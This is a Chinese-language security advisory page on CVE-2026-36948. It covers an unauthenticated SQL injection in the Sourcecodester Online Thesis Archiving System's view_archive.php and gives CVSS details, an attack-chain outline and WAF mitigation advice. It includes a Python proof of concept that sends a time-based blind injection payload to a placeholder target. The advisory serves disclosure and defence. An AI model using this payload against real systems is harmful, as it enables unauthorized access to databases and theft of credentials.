IPBUF安全漏洞报告
English
CVE-2026-36948 CVSS 7.3 高危

CVE-2026-36948: Online Thesis Archiving System SQL注入漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-36948
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Sourcecodester Online Thesis Archiving System

相关标签

SQL注入CVE-2026-36948SourcecodesterWeb安全无需认证

漏洞概述

Sourcecodester Online Thesis Archiving System v1.0 版本中的 /otas/view_archive.php 文件存在 SQL 注入漏洞。由于未对用户输入进行有效过滤,未经身份验证的攻击者可利用此漏洞执行任意 SQL 语句,导致数据库信息泄露及数据篡改。

技术细节

该漏洞位于 /otas/view_archive.php 文件中,主要原因是应用程序未对用户提交的参数进行充分的输入验证和转义,直接将其拼接到 SQL 查询语句中执行。攻击者无需登录认证即可远程利用此漏洞。通过构造恶意的 SQL 语句,攻击者可以利用联合查询、报错注入或盲注技术,从后端数据库中提取敏感数据(如管理员账号密码、用户论文信息等),或者在特定条件下修改数据库内容。该漏洞利用难度低(AC:L),无需用户交互(UI:N),对系统的机密性、完整性和可用性均构成威胁。

攻击链分析

STEP 1
侦察
攻击者识别目标正在运行 Sourcecodester Online Thesis Archiving System v1.0,并定位到 /otas/view_archive.php 接口。
STEP 2
漏洞探测
攻击者向该接口发送包含特殊 SQL 字符(如单引号)的测试参数,观察应用响应以判断是否存在 SQL 注入点。
STEP 3
利用攻击
攻击者构造恶意的 SQL 语句(如 UNION SELECT 或布尔盲注),通过注入点发送至服务器数据库执行。
STEP 4
数据窃取与破坏
数据库执行恶意代码,返回敏感数据(如用户名、密码哈希)或修改、删除数据库内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://target.com/otas/view_archive.php" # Malicious payload to test SQL Injection # Assuming the parameter is 'id', this payload attempts a time-based blind injection payload = "?id=1' AND (SELECT SLEEP(5))-- -" try: # Send the request response = requests.get(target_url + payload) # Check if the response time indicates a delay (vulnerability confirmed) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection exists in view_archive.php") else: print("[-] Vulnerability not detected or payload incorrect.") except Exception as e: print(f"Error: {e}")

影响范围

Sourcecodester Online Thesis Archiving System v1.0

防御指南

临时缓解措施
建议在应用网关或 WAF 上部署规则,拦截对 /otas/view_archive.php 的包含 SQL 关键字(如 UNION, SELECT, SLEEP)的恶意请求,并暂时隔离受影响系统直至完成代码修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表